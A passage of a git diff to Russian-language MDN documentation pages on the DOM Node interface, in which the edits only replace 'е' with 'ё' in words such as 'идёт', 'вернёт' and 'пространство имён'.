идентификатор и клон размещен в том же документе, идентификатор должен быть изменен, для того что бы быть уникальным. Имя атрибута также может нуждаться в изменении, <span id="result_box" lang="ru"><span>в зависимости</span> <span class="hps">от</span></span> будущего имени дубликата.</p> +<p>Если исходный узел имеет идентификатор и клон размещён в том же документе, идентификатор должен быть изменён, для того что бы быть уникальным. Имя атрибута также может нуждаться в изменении, <span id="result_box" lang="ru"><span>в зависимости</span> <span class="hps">от</span></span> будущего имени дубликата.</p> <p>Чтобы клонировать узел для добавления к другому документу используйте {{domxref("Document.importNode()")}} вместо этого.</p> diff --git a/files/ru/web/api/node/comparedocumentposition/index.html b/files/ru/web/api/node/comparedocumentposition/index.html index 0be1dac540..d2972a7ab8 100644 --- a/files/ru/web/api/node/comparedocumentposition/index.html +++ b/files/ru/web/api/node/comparedocumentposition/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/Node/compareDocumentPosition </pre> <ul> <li><code>node</code> это узел, который сравнивается</li> - <li><code>otherNode</code> это узел, с которым идет сравнение.</li> + <li><code>otherNode</code> это узел, с которым идёт сравнение.</li> </ul> <p>Возвращаемое значение вычисляется как отношение, которое имеется между <code>otherNode</code> и <code>node</code>.</p> <h2 id="Notes" name="Notes">Примечание</h2> diff --git a/files/ru/web/api/node/getuserdata/index.html b/files/ru/web/api/node/getuserdata/index.html index 43a766ed8d..2d929785e3 100644 --- a/files/ru/web/api/node/getuserdata/index.html +++ b/files/ru/web/api/node/getuserdata/index.html @@ -18,7 +18,7 @@ translation_of: Web/API/Node/getUserData <h3 id="Параметры">Параметры</h3> <ul> - <li><code>userKey</code> это ключ для выбора определенных данных искомых для данного узла. Больше чем один ключ может быть назначен для данного узла, содержащий свое собственное значение.</li> + <li><code>userKey</code> это ключ для выбора определённых данных искомых для данного узла. Больше чем один ключ может быть назначен для данного узла, содержащий своё собственное значение.</li> </ul> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/api/node/index.html b/files/ru/web/api/node/index.html index a8b7e33c56..ebbbfbc41e 100644 --- a/files/ru/web/api/node/index.html +++ b/files/ru/web/api/node/index.html @@ -30,10 +30,10 @@ translation_of: Web/API/Node <dt>{{domxref("Node.lastChild")}} {{readonlyInline}}</dt> <dd>Возвращает {{domxref("Node")}}, представляющий последний прямой узел потомок узла или <code>null</code>, если узел не имеет потомков.</dd> <dt>{{domxref("Node.localName")}} {{obsolete_inline}}{{readonlyInline}}</dt> - <dd>Возвращает {{domxref("DOMString")}} представляющий локальную часть условного имени элемента. В Firefox 3.5 и более ранних версиях, свойство локального имени в верхнем регистре для HTML элементов (но не XHTML элементов). В более поздних версиях, такого не произошло, и свойство находится в нижнем регистре для HTML и XHTML {{ gecko_minversion_inline("1.9.2") }}. Хотя недавние спецификации требуют от <code>localName</code> быть определенным как интерфейс {{domxref("Element")}}, но браузеры основанные на Gecko все еще реализуют его как интерфейс {{domxref("Node")}}.</dd> + <dd>Возвращает {{domxref("DOMString")}} представляющий локальную часть условного имени элемента. В Firefox 3.5 и более ранних версиях, свойство локального имени в верхнем регистре для HTML элементов (но не XHTML элементов). В более поздних версиях, такого не произошло, и свойство находится в нижнем регистре для HTML и XHTML {{ gecko_minversion_inline("1.9.2") }}. Хотя недавние спецификации требуют от <code>localName</code> быть определённым как интерфейс {{domxref("Element")}}, но браузеры основанные на Gecko все ещё реализуют его как интерфейс {{domxref("Node")}}.</dd> <dt>{{domxref("Node.namespaceURI")}} {{obsolete_inline}}{{readonlyInline}}</dt> - <dd>Пространство имен URI данного узла или <code>null,</code> если нет пространства имен. В Firefox 3.5 и более ранних версиях, HTML элементы не имеют пространства имен. В более поздних версиях, HTML элементы находятся в пространстве имен <code><a class="linkification-ext external" href="http://www.w3.org/1999/xhtml" title="Linkification: http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code> для деревьев HTML и XML. {{ gecko_minversion_inline("1.9.2") }}<br> - Хотя недавние спецификации требуют <code>namespaceURI</code> быть определенным как интерфейс {{domxref("Element")}}, но браузеры основанные на Gecko все еще реализуют его как интерфейс {{domxref("Node")}}.</dd> + <dd>Пространство имён URI данного узла или <code>null,</code> если нет пространства имён. В Firefox 3.5 и более ранних версиях, HTML элементы не имеют пространства имён. В более поздних версиях, HTML элементы находятся в пространстве имён <code><a class="linkification-ext external" href="http://www.w3.org/1999/xhtml" title="Linkification: http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code> для деревьев HTML и XML. {{ gecko_minversion_inline("1.9.2") }}<br> + Хотя недавние спецификации требуют <code>namespaceURI</code> быть определённым как интерфейс {{domxref("Element")}}, но браузеры основанные на Gecko все ещё реализуют его как интерфейс {{domxref("Node")}}.</dd> <dt>{{domxref("Node.nextSibling")}} {{readonlyInline}}</dt> <dd>Возвращает {{domxref("Node")}} представляющий следующий узел в древе или <code>null,</code> если не такого узла.</dd> <dt>{{domxref("Node.nodeName")}} {{readonlyInline}}</dt> @@ -104,12 +104,12 @@ translation_of: Web/API/Node <dt>{{domxref("Node.ownerDocument")}} {{readonlyInline}}</dt> <dd>Возвращает {{domxref("Document")}} к которому принадлежит этот узел. Если нет связанного с ним документа, возвращает <code>null</code>.</dd> <dt>{{domxref("Node.parentNode")}} {{readonlyInline}}</dt> - <dd>Возвращает {{domxref("Node")}} который является родителем этого узла. Если нет такого узла, по причине того, что узел находится вверху древа или не относится к древу, данное свойство вернет<code> null</code>.</dd> + <dd>Возвращает {{domxref("Node")}} который является родителем этого узла. Если нет такого узла, по причине того, что узел находится вверху древа или не относится к древу, данное свойство вернёт<code> null</code>.</dd> <dt>{{domxref("Node.parentElement")}} {{readonlyInline}}</dt> - <dd>Возвращает {{domxref("Element")}} который является родителем данного узла. Если узел не имеет родителя или если родитель не {{domxref("Element")}}, это свойство вернет <code>null</code>.</dd> + <dd>Возвращает {{domxref("Element")}} который является родителем данного узла. Если узел не имеет родителя или если родитель не {{domxref("Element")}}, это свойство вернёт <code>null</code>.</dd> <dt>{{domxref("Node.prefix")}} {{obsolete_inline}}{{readonlyInline}}</dt> - <dd>{{domxref("DOMString")}} представляющий префикс пространства имен узла или <code>null</code> если нет префикса точно определенного.<br> - Хотя недавние спецификации требуют того, чтобы <code>префикс</code> был определен как интерфейс {{domxref("Element")}}, браузеры основанные на Gecko еще реализовывают его как интерфейс {{domxref("Node")}}.</dd> + <dd>{{domxref("DOMString")}} представляющий префикс пространства имён узла или <code>null</code> если нет префикса точно определенного.<br> + Хотя недавние спецификации требуют того, чтобы <code>префикс</code> был определён как интерфейс {{domxref("Element")}}, браузеры основанные на Gecko ещё реализовывают его как интерфейс {{domxref("Node")}}.</dd> <dt>{{domxref("Node.previousSibling")}} {{readonlyInline}}</dt> <dd>Возвращают {{domxref("Node")}} представляющий предыдущий узел древа или <code>null</code>, если нет такого узла.</dd> <dt>{{domxref("Node.textContent")}}</dt> @@ -238,7 +238,7 @@ document.body.removeAll();</pre> <tr> <td>{{SpecName('DOM3 Core', 'core.html#ID-1950641247', 'Node')}}</td> <td>{{Spec2('DOM3 Core')}}</td> - <td>Методы <code>insertBefore()</code>, <code>replaceChild()</code>, <code>removeChild()</code>, and <code>appendChild()</code> возвращают еще один вид ошибок (<code>NOT_SUPPORTED_ERR</code>) если вызваны из {{domxref("Document")}}.<br> + <td>Методы <code>insertBefore()</code>, <code>replaceChild()</code>, <code>removeChild()</code>, and <code>appendChild()</code> возвращают ещё один вид ошибок (<code>NOT_SUPPORTED_ERR</code>) если вызваны из {{domxref("Document")}}.<br> Метод <code>normalize()</code> был модифицирован таким образом, что узел {{domxref("Text")}} также может быть нормализован, если надлежащий флаг {{domxref("DOMConfiguration")}} установлен.<br> Добавлены следующие методы: <code>compareDocumentPosition()</code>, <code>isSameNode()</code>, <code>lookupPrefix()</code>, <code>isDefaultNamespace()</code>, <code>lookupNamespaceURI()</code>, <code>isEqualNode()</code>, <code>getFeature()</code>, <code>setUserData()</code>, and <code>getUserData().</code><br> Добавлены следующие свойства: <code>baseURI</code> and <code>textContent</code>.</td> @@ -246,7 +246,7 @@ document.body.removeAll();</pre> <tr> <td>{{SpecName('DOM2 Core', 'core.html#ID-1950641247', 'Node')}}</td> <td>{{Spec2('DOM2 Core')}}</td> - <td>Свойство <code>ownerDocument</code> был слегка изменен, так что {{domxref("DocumentFragment")}} также возвращает <code>null</code>.<br> + <td>Свойство <code>ownerDocument</code> был слегка изменён, так что {{domxref("DocumentFragment")}} также возвращает <code>null</code>.<br> Добавлены следующие свойства: <code>namespaceURI</code>, <code>prefix</code>, and <code>localName</code>.<br> Добавлены следующие методы: <code>normalize()</code>, <code>isSupported()</code> and <code>hasAttributes()</code>.</td> </tr> diff --git a/files/ru/web/api/node/insertbefore/index.html b/files/ru/web/api/node/insertbefore/index.html index 1ca87864c8..b512bffba9 100644 --- a/files/ru/web/api/node/insertbefore/index.html +++ b/files/ru/web/api/node/insertbefore/index.html @@ -36,7 +36,7 @@ translation_of: Web/API/Node/insertBefore </div> <script> -// Создаем новый <span> +// Создаём новый <span> var sp1 = document.createElement("span"); // Получаем ссылку на элемент, перед которым мы хотим вставить sp1 @@ -49,13 +49,13 @@ parentDiv.insertBefore(sp1, sp2); </script> </pre> -<p>Однако нет метода <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">insertAfter</span>. Он может быть заменен использованием метода <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">insertBefore</span> в связке с <code style="font-style: normal;"><a href="/en-US/docs/DOM/Node.nextSibling" title="DOM/Node.nextSibling">nextSibling</a></code>.</p> +<p>Однако нет метода <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">insertAfter</span>. Он может быть заменён использованием метода <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">insertBefore</span> в связке с <code style="font-style: normal;"><a href="/en-US/docs/DOM/Node.nextSibling" title="DOM/Node.nextSibling">nextSibling</a></code>.</p> <p>В предыдущем примере <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp1</span> может быть вставлен после <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp2</span> следующим образом:</p> <pre><code>parentDiv.insertBefore(sp1, sp2.nextSibling);</code></pre> -<p>Если <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp2</span> не имеет следующего элемента, то он будет последним дочерним элементом, <code style="font-style: normal;">sp2.nextSibling вернет </code><span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">null</span>, а <code style="font-style: normal;">sp1</code> вставится в конец дочернего узла (сразу после <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp2</span>).</p> +<p>Если <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp2</span> не имеет следующего элемента, то он будет последним дочерним элементом, <code style="font-style: normal;">sp2.nextSibling вернёт </code><span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">null</span>, а <code style="font-style: normal;">sp1</code> вставится в конец дочернего узла (сразу после <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">sp2</span>).</p> <h2 id="Example2" name="Example2">Пример 2</h2> @@ -66,14 +66,14 @@ var parentElement = document.getElementById('parentElement'); // Получаем ссылку на первый дочерний элемент var theFirstChild = parentElement.firstChild; -// Создаем новый элемент, который будем добавлять +// Создаём новый элемент, который будем добавлять var newElement = document.createElement("div"); // Вставляем новый элемент перед первым дочерним элементом parentElement.insertBefore(newElement, theFirstChild); </pre> -<p>Когда у родителя нет первого дочернего элемента, <code>firstChild</code> вернет <code>null</code>. Новый элемент все равно будет выставляться после последнего дочернего элемента. Но так как родитель не имеет первого дочернего элемента, то он не будет иметь и последнего. Следовательно, после добавления в него элемента, этот элемент будет единственным дочерним элементом.</p> +<p>Когда у родителя нет первого дочернего элемента, <code>firstChild</code> вернёт <code>null</code>. Новый элемент все равно будет выставляться после последнего дочернего элемента. Но так как родитель не имеет первого дочернего элемента, то он не будет иметь и последнего. Следовательно, после добавления в него элемента, этот элемент будет единственным дочерним элементом.</p> <h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2> diff --git a/files/ru/web/api/node/isdefaultnamespace/index.html b/files/ru/web/api/node/isdefaultnamespace/index.html index 88f139a5a0..581a56c524 100644 --- a/files/ru/web/api/node/isdefaultnamespace/index.html +++ b/files/ru/web/api/node/isdefaultnamespace/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/Node/isDefaultNamespace <div>{{APIRef("DOM")}}</div> </div> -<p>Метод <strong><code>Node.isDefaultNamespace()</code></strong> принимает URI пространства имен в качестве аргумента и возвращает {{jsxref("Boolean")}} со значением <code>true</code> если пространство имен является пространством имен данного узла по умолчанию или <code>false</code> если нет.</p> +<p>Метод <strong><code>Node.isDefaultNamespace()</code></strong> принимает URI пространства имён в качестве аргумента и возвращает {{jsxref("Boolean")}} со значением <code>true</code> если пространство имён является пространством имён данного узла по умолчанию или <code>false</code> если нет.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> @@ -16,7 +16,7 @@ translation_of: Web/API/Node/isDefaultNamespace <ul> <li><code>result</code> содержит в себе возвращаемое значение <code>true</code> или <code>false</code>.</li> - <li><code>namespaceURI</code> это строка представляющая собой пространство имен, на которое элемент будет проверен.</li> + <li><code>namespaceURI</code> это строка представляющая собой пространство имён, на которое элемент будет проверен.</li> </ul> <h2 id="Example" name="Example">Пример</h2> diff --git a/files/ru/web/api/node/isequalnode/index.html b/files/ru/web/api/node/isequalnode/index.html index 3c76678b0a..c091b24c9f 100644 --- a/files/ru/web/api/node/isequalnode/index.html +++ b/files/ru/web/api/node/isequalnode/index.html @@ -20,7 +20,7 @@ translation_of: Web/API/Node/isEqualNode <h2 id="Пример">Пример</h2> -<p>В этом примере мы создаем три блока {{HTMLElement ("div")}}. Первый и третий имеют одинаковое содержание и атрибуты, в то время как второй отличается. Затем мы запускаем некоторый JavaScript код для сравнения узлов с помощью isEqualNode () и выводим результаты.</p> +<p>В этом примере мы создаём три блока {{HTMLElement ("div")}}. Первый и третий имеют одинаковое содержание и атрибуты, в то время как второй отличается. Затем мы запускаем некоторый JavaScript код для сравнения узлов с помощью isEqualNode () и выводим результаты.</p> <h3 id="HTML">HTML</h3> diff --git a/files/ru/web/api/node/issupported/index.html b/files/ru/web/api/node/issupported/index.html index a5fc7e0279..2ffbdadbca 100644 --- a/files/ru/web/api/node/issupported/index.html +++ b/files/ru/web/api/node/issupported/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Node/isSupported --- <p>{{APIRef("DOM")}}{{obsolete_header}}</p> -<p><code><strong>Node.isSupported()</strong></code> возвращает {{domxref("Boolean")}} флаг содержащий результат проверки реализует ли реализация DOM определенное свойство и поддерживается ли это свойство конкретным узлом.</p> +<p><code><strong>Node.isSupported()</strong></code> возвращает {{domxref("Boolean")}} флаг содержащий результат проверки реализует ли реализация DOM определённое свойство и поддерживается ли это свойство конкретным узлом.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> @@ -15,7 +15,7 @@ translation_of: Web/API/Node/isSupported <dl> <dt><em>feature</em></dt> - <dd>Это {{domxref("DOMString")}} содержащая имя свойства для проверки. Это тоже имя, которое может быть передано в метод <code>hasFeature</code> в <a href="/en/DOM/document.implementation" title="en/DOM/document.implementation">DOMImplementation</a>. Возможные значения определенные в спецификации ядра DOM перечислены в DOM Level 2 <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/introduction.html#ID-Conformance">соответствующий раздел</a>.</dd> + <dd>Это {{domxref("DOMString")}} содержащая имя свойства для проверки. Это тоже имя, которое может быть передано в метод <code>hasFeature</code> в <a href="/en/DOM/document.implementation" title="en/DOM/document.implementation">DOMImplementation</a>. Возможные значения определённые в спецификации ядра DOM перечислены в DOM Level 2 <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/introduction.html#ID-Conformance">соответствующий раздел</a>.</dd> <dt><em>version</em></dt> <dd>Это {{domxref("DOMString")}} содержащая номер версии свойства для ис проверки.В DOM уровень 2, version 1, это строка <code>2.0</code>. если версия не указана, поддерживает любую версию свойства, вызывает метод и возвращает true.</dd> </dl> diff --git a/files/ru/web/api/node/localname/index.html b/files/ru/web/api/node/localname/index.html index da553936f9..9347aea3d0 100644 --- a/files/ru/web/api/node/localname/index.html +++ b/files/ru/web/api/node/localname/index.html @@ -49,7 +49,7 @@ translation_of: Web/API/Node/localName <h2 id="Notes" name="Notes">Примечания</h2> -<p>Локальное имя узла, является полным именем узла, которое идет после двоеточия. Полное имя, как правило, используется как часть пространства имен <span id="result_box" lang="ru"><span class="hps">для</span> <span class="hps">конкретных</span> <span class="hps">XML</span> <span class="hps">документов.</span></span> Например, полное имя <code>ecomm:partners</code>, <code>partners</code> это локальное имя и <code>ecomm</code> это префикс:</p> +<p>Локальное имя узла, является полным именем узла, которое идёт после двоеточия. Полное имя, как правило, используется как часть пространства имён <span id="result_box" lang="ru"><span class="hps">для</span> <span class="hps">конкретных</span> <span class="hps">XML</span> <span class="hps">документов.</span></span> Например, полное имя <code>ecomm:partners</code>, <code>partners</code> это локальное имя и <code>ecomm</code> это префикс:</p> <pre class="brush:xml"><ecomm:business id="soda_shop" type="brick_n_mortar" xmlns:ecomm="http://example.com/ecomm"> <ecomm:partners> diff --git a/files/ru/web/api/node/lookupnamespaceuri/index.html b/files/ru/web/api/node/lookupnamespaceuri/index.html index 10899ce8ae..d37ac9f73a 100644 --- a/files/ru/web/api/node/lookupnamespaceuri/index.html +++ b/files/ru/web/api/node/lookupnamespaceuri/index.html @@ -5,9 +5,9 @@ translation_of: Web/API/Node/lookupNamespaceURI --- <div>{{APIRef("DOM")}}</div> -<p>Метод <code><strong>Node.lookupNamespaceURI()</strong></code> берет префикс и возвращает пространство имен URI связанное с ним в данном узле, если найден (и <code>null</code> если нет). Устанавливает <code>null</code> для префикса который возвращает пространство имен по умолчанию.</p> +<p>Метод <code><strong>Node.lookupNamespaceURI()</strong></code> берет префикс и возвращает пространство имён URI связанное с ним в данном узле, если найден (и <code>null</code> если нет). Устанавливает <code>null</code> для префикса который возвращает пространство имён по умолчанию.</p> -<p>Из-за ошибки <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=312019" title="https://bugzilla.mozilla.org/show_bug.cgi?id=312019">bug 312019</a>, этот метод не работает с динамическим назначением пространства имен (т.е., с уставленным тем же <a href="/en/DOM/Node.prefix" title="En/DOM/Node.prefix">Node.prefix</a>).</p> +<p>Из-за ошибки <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=312019" title="https://bugzilla.mozilla.org/show_bug.cgi?id=312019">bug 312019</a>, этот метод не работает с динамическим назначением пространства имён (т.е., с уставленным тем же <a href="/en/DOM/Node.prefix" title="En/DOM/Node.prefix">Node.prefix</a>).</p> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/api/node/lookupprefix/index.html b/files/ru/web/api/node/lookupprefix/index.html index 10a92d81af..7a763c983c 100644 --- a/files/ru/web/api/node/lookupprefix/index.html +++ b/files/ru/web/api/node/lookupprefix/index.html @@ -5,9 +5,9 @@ translation_of: Web/API/Node/lookupPrefix --- <div>{{APIRef("DOM")}}</div> -<p>Метод <code><strong>Node.lookupPrefix()</strong></code> возвращает {{domxref("DOMString")}} содержащий префикс для данного пространства имен URI, если он присутствует, и <code>null</code> если нет. Когда возможно присутствие нескольких префиксов, результат зависит от реализации.</p> +<p>Метод <code><strong>Node.lookupPrefix()</strong></code> возвращает {{domxref("DOMString")}} содержащий префикс для данного пространства имён URI, если он присутствует, и <code>null</code> если нет. Когда возможно присутствие нескольких префиксов, результат зависит от реализации.</p> -<p>Из-за ошибки <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=312019" title="https://bugzilla.mozilla.org/show_bug.cgi?id=312019">bug 312019</a>, этот метод не работает с динамическим назначением пространства имен, которое установлено с тем же свойством {{domxref("Node.prefix")}}.</p> +<p>Из-за ошибки <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=312019" title="https://bugzilla.mozilla.org/show_bug.cgi?id=312019">bug 312019</a>, этот метод не работает с динамическим назначением пространства имён, которое установлено с тем же свойством {{domxref("Node.prefix")}}.</p> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/api/node/namespaceuri/index.html b/files/ru/web/api/node/namespaceuri/index.html index 56534ae20a..479df26e24 100644 --- a/files/ru/web/api/node/namespaceuri/index.html +++ b/files/ru/web/api/node/namespaceuri/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/Node/namespaceURI <div>{{APIRef("DOM")}}</div> </div> -<p>Свойство <code><strong>Node.namespaceURI</strong></code> только для чтения, возвращает пространство имен URI узла или <code>null,</code> если узел не находится в пространстве имен (только для чтения). Хотя узел документа, возвращает пространство имен XML для текущего документа.</p> +<p>Свойство <code><strong>Node.namespaceURI</strong></code> только для чтения, возвращает пространство имён URI узла или <code>null,</code> если узел не находится в пространстве имён (только для чтения). Хотя узел документа, возвращает пространство имён XML для текущего документа.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> @@ -15,7 +15,7 @@ translation_of: Web/API/Node/namespaceURI <h2 id="Example" name="Example">Пример</h2> -<p>В этом сниппете, узел рассматривается для его <a href="/en-US/docs/DOM/Node.localName" title="DOM/Node.localName">localName</a> и его <code>namespaceURI</code>. Если <code>namespaceURI</code> возвращает XUL пространство имен и <code>localName</code> возвращая "browser", затем узел XUL согласует <code><browser/></code>.</p> +<p>В этом сниппете, узел рассматривается для его <a href="/en-US/docs/DOM/Node.localName" title="DOM/Node.localName">localName</a> и его <code>namespaceURI</code>. Если <code>namespaceURI</code> возвращает XUL пространство имён и <code>localName</code> возвращая "browser", затем узел XUL согласует <code><browser/></code>.</p> <pre class="brush:js">if (node.localName == "browser" && node.namespaceURI == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") { @@ -24,17 +24,17 @@ translation_of: Web/API/Node/namespaceURI <h2 id="Notes" name="Notes">Примечание</h2> -<p>Это не вычисленное значение, которое является результатом поиска имен на основе проверки декларации в области пространства имен. Пространство имен URI узла заморожена в момент создания узла.</p> +<p>Это не вычисленное значение, которое является результатом поиска имён на основе проверки декларации в области пространства имён. Пространство имён URI узла заморожена в момент создания узла.</p> -<p>В Firefox 3.5 и выше, пространство имен URI для HTML элементов в HTML документах это <code>null</code>. В более поздних версиях, в соответствии с HTML5, это <code><a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a></code> как в XHTML. {{gecko_minversion_inline("1.9.2")}}</p> +<p>В Firefox 3.5 и выше, пространство имён URI для HTML элементов в HTML документах это <code>null</code>. В более поздних версиях, в соответствии с HTML5, это <code><a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a></code> как в XHTML. {{gecko_minversion_inline("1.9.2")}}</p> <p>Для узлов любого <a href="/en-US/docs/DOM/Node.nodeType" title="DOM/Node/NodeType/Node.nodeType">nodeType</a> кроме <code>ELEMENT_NODE</code> и <code>ATTRIBUTE_NODE</code> значение <code>namespaceURI</code> всегда <code>null</code>.</p> <p>Вы можете создать элемент с конкретным <code>namespaceURI</code> используйте метод DOM Level 2 <a href="/en-US/docs/DOM/document.createElementNS" title="DOM/document.createElementNS">document.createElementNS</a>.</p> -<p>Через <a class="external" href="http://www.w3.org/TR/xml-names11/">пространство имен в XML</a> спецификации, атрибуты не наследуют пространство имен для элемента к которому он прикреплен. Если у атрибута не задано явно пространство имен, он не имеет пространства имен.</p> +<p>Через <a class="external" href="http://www.w3.org/TR/xml-names11/">пространство имён в XML</a> спецификации, атрибуты не наследуют пространство имён для элемента к которому он прикреплён. Если у атрибута не задано явно пространство имён, он не имеет пространства имен.</p> -<p>DOM не обрабатывает или не вынуждает проверять пространство имен как таковое. Приложения выше DOM, делают необходимые проверки. <span id="result_box" lang="ru"><span class="hps">Отметим также,</span> <span class="hps">что</span> <span class="hps">префикс пространства имен</span><span>,</span> <span class="hps">когда</span> <span class="hps">он связан с</span> <span class="hps">конкретным узлом</span><span>,</span> <span class="hps">не может быть изменен</span><span>.</span></span></p> +<p>DOM не обрабатывает или не вынуждает проверять пространство имён как таковое. Приложения выше DOM, делают необходимые проверки. <span id="result_box" lang="ru"><span class="hps">Отметим также,</span> <span class="hps">что</span> <span class="hps">префикс пространства имён</span><span>,</span> <span class="hps">когда</span> <span class="hps">он связан с</span> <span class="hps">конкретным узлом</span><span>,</span> <span class="hps">не может быть изменён</span><span>.</span></span></p> <h2 id="Specifications" name="Specifications">Спецификации</h2> diff --git a/files/ru/web/api/node/nextsibling/index.html b/files/ru/web/api/node/nextsibling/index.html index cc874be72e..9ecb139758 100644 --- a/files/ru/web/api/node/nextsibling/index.html +++ b/files/ru/web/api/node/nextsibling/index.html @@ -65,7 +65,7 @@ while (el) { **************************************************/ </pre> -<p>В приведенном выше примере вы можете видеть, что <code>#text</code> узлы вставляются в DOM, где между тегами встречаются пробелы (т.е. после закрывающего тега элемента и до открывающего тега рядом). Не создается пробелов между элементами, вставленных с помощью <code>document.write</code></p> +<p>В приведённом выше примере вы можете видеть, что <code>#text</code> узлы вставляются в DOM, где между тегами встречаются пробелы (т.е. после закрывающего тега элемента и до открывающего тега рядом). Не создаётся пробелов между элементами, вставленных с помощью <code>document.write</code></p> <p>Возможность включения текстовых узлов в DOM должна быть разрешена, когда DOM обходится с помощью <code>nextSibling</code>. Смотрите раздел "Заметки".</p> diff --git a/files/ru/web/api/node/nodevalue/index.html b/files/ru/web/api/node/nodevalue/index.html index aba6e43755..dccb8f4c24 100644 --- a/files/ru/web/api/node/nodevalue/index.html +++ b/files/ru/web/api/node/nodevalue/index.html @@ -18,7 +18,7 @@ translation_of: Web/API/Node/nodeValue <h2 id="Notes" name="Notes">Примечания</h2> -<p>Для самого документа, <code>nodeValue</code> возвращает <code>null</code>. Для текста, комментария и CDATA узлов, <code>nodeValue</code> возвращает содержимое узла. Для узла атрибута, вернется значение атрибута.</p> +<p>Для самого документа, <code>nodeValue</code> возвращает <code>null</code>. Для текста, комментария и CDATA узлов, <code>nodeValue</code> возвращает содержимое узла. Для узла атрибута, вернётся значение атрибута.</p> <p>Следующая таблица, показывает возвращаемые значения различных элементов:</p> diff --git a/files/ru/web/api/node/parentnode/index.html b/files/ru/web/api/node/parentnode/index.html index 139880247f..a845f3d4b0 100644 --- a/files/ru/web/api/node/parentnode/index.html +++ b/files/ru/web/api/node/parentnode/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/Node/parentNode <h2 id="Summary" name="Summary">Аннотация</h2> -<p>Возвращает родителя определенного элемента DOM дерева.</p> +<p>Возвращает родителя определённого элемента DOM дерева.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> @@ -31,7 +31,7 @@ translation_of: Web/API/Node/parentNode <p><code>Document</code> и <code>DocumentFragment</code> <a href="/en-US/docs/DOM/Node.nodeType" title="DOM/Node.nodeType">nodes</a> <em> могут не иметь родителя</em>, в этом случае <code>parentNode</code> всегда возвращает <code>null</code>.</p> -<p>Так же возвращает <code>null</code> если элемент только был создан и еще не добавлен в DOM дерево.</p> +<p>Так же возвращает <code>null</code> если элемент только был создан и ещё не добавлен в DOM дерево.</p> <h2 id="Поддержка_браузерами">Поддержка браузерами</h2> diff --git a/files/ru/web/api/node/prefix/index.html b/files/ru/web/api/node/prefix/index.html index 404f245f65..fe218e0507 100644 --- a/files/ru/web/api/node/prefix/index.html +++ b/files/ru/web/api/node/prefix/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/Node/prefix <div>{{APIRef("DOM")}}</div> </div> -<p>Свойство <code><strong>Node.prefix</strong></code> только для чтения, возвращающее префикс пространства имен указанного узла или <code>null,</code> если не указан префикс. Это свойство только для чтения.</p> +<p>Свойство <code><strong>Node.prefix</strong></code> только для чтения, возвращающее префикс пространства имён указанного узла или <code>null,</code> если не указан префикс. Это свойство только для чтения.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/api/node/removechild/index.html b/files/ru/web/api/node/removechild/index.html index 738dadbaa6..0666aa815c 100644 --- a/files/ru/web/api/node/removechild/index.html +++ b/files/ru/web/api/node/removechild/index.html @@ -12,7 +12,7 @@ translation_of: Web/API/Node/removeChild <h2 id="Summary" name="Summary">Аннотация</h2> -<p>Удаляет дочерний элемент из DOM. Возвращает удаленный элемент.</p> +<p>Удаляет дочерний элемент из DOM. Возвращает удалённый элемент.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> @@ -21,14 +21,14 @@ translation_of: Web/API/Node/removeChild </pre> <ul> - <li><code>child</code> дочерний элемент который будет удален из DOM.</li> + <li><code>child</code> дочерний элемент который будет удалён из DOM.</li> <li><code>element</code> родительский элемент удаляемого <code>child</code>.</li> <li><code>oldChild</code> ссылка на удаляемый дочерний элемент. <code>oldChild</code> === <code>child</code>.</li> </ul> -<p>Удаленный дочерний элемент остается в памяти, но больше не является частью DOM. Вы можете повторно использовать удаленный элемент с помощью ссылки на объект - <code>oldChild</code>.</p> +<p>Удалённый дочерний элемент остаётся в памяти, но больше не является частью DOM. Вы можете повторно использовать удалённый элемент с помощью ссылки на объект - <code>oldChild</code>.</p> -<p>Если <code>child</code> не является дочерним элементом <code>element</code>, тогда метод генерирует исключение. Также это происходит если <code>child</code> является дочерним элементом <code>element</code> во время вызова метода, но был удален во время вызова обработчика событий удаляющего элемент(т.e при удалении элемента непосредственно перед вызовом обработчика событий).</p> +<p>Если <code>child</code> не является дочерним элементом <code>element</code>, тогда метод генерирует исключение. Также это происходит если <code>child</code> является дочерним элементом <code>element</code> во время вызова метода, но был удалён во время вызова обработчика событий удаляющего элемент(т.e при удалении элемента непосредственно перед вызовом обработчика событий).</p> <h2 id="Example" name="Example">Пример</h2> diff 